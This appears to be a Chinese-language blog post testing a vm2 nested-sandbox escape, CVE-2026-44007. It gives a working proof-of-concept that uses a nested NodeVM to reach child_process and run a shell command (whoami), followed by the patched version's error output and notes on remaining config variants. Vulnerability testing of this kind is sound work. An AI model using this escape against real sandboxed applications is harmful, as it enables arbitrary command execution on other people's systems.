2026年5月16日 星期六

Node.js vm2 CVE-2026-44007 「Sandbox Escape」 漏洞測試

Demo 影片:



原因:

  • vm2 是一個 Node.js 的套件,功能是建立沙箱(Sandbox)執行環境。
  • 包含 3.11.0 以前的版本,允許建立巢狀沙箱時(nesting: true),內部的沙箱不考慮外部沙箱 require 設定限制,導致內部沙箱可執行任意作業系統指令。


漏洞概念測試:

以下程式在 3.11.0 版本可正常執行

const { NodeVM } = require('vm2');

const Sandbox1 = new NodeVM({
  nesting: true,
  require: false, //外部沙箱限制不可 require
});

maliciousScript =`
  let aa=\`
  let res = require('child_process').execSync('whoami').toString();
  console.log(res);
  \`;
  const vm2 = require('vm2');
  const Sandbox2 = new vm2.NodeVM({//Nested Sandbox
    require: {
      builtin: ['child_process'] //內部沙箱可 require
    }
  });
  Sandbox2.run(aa);
`;
Sandbox1.run(maliciousScript);



在 3.11.1 版本不可執行 

# node poc.js
/root/CVE-2026-44007/node_modules/vm2/lib/nodevm.js:264
                        throw new VMError(
                        ^

VMError: NodeVM `nesting: true` is incompatible with `require: false`. `nesting: true` is an escape hatch that lets sandbox code `require('vm2')` and construct nested
 VMs unconstrained by the outer config — which contradicts `require: false`. To deny all requires, remove `nesting: true`. To allow nested VMs, replace `require: fals
e` with an explicit config (e.g. `require: { builtin: [] }`) so the tradeoff is visible. See README "`nesting: true` is an escape hatch". Context: GHSA-8hg8-63c5-gwmx
.
    at new NodeVM (/root/CVE-2026-44007/node_modules/vm2/lib/nodevm.js:264:10)
    at Object.<anonymous> (/root/CVE-2026-44007/poc.js:3:18)
    at Module._compile (node:internal/modules/cjs/loader:1856:14)
    at Object..js (node:internal/modules/cjs/loader:1996:10)
    at Module.load (node:internal/modules/cjs/loader:1579:32)
    at Module._load (node:internal/modules/cjs/loader:1381:12)
    at wrapModuleLoad (node:internal/modules/cjs/loader:255:19)
    at Module.executeUserEntryPoint [as runMain] (node:internal/modules/run_main:154:5)
    at node:internal/main/run_main_module:33:47 {
  code: undefined
}

Node.js v26.1.0
看錯誤訊息是,似乎是限制 nesting: true 和 require: false 不能共存。
那  nesting: true 和 require: { builtin: [] } 呢?
官網使用說明:
require.builtin - Array of allowed built-in modules, accepts ["*"] for all (default: none). WARNING: "*" can be dangerous as new built-ins can be added.

["*"] 代表允許所有,
於是我測試
沒設定、設定成空陣列 require: { builtin: [] }、以及設成 require: { builtin: ["*"] }
結果三種情況在 3.11.1 以及最新的 3.11.3 都可執行,不知道算不算 bug ?




參考:


沒有留言:

張貼留言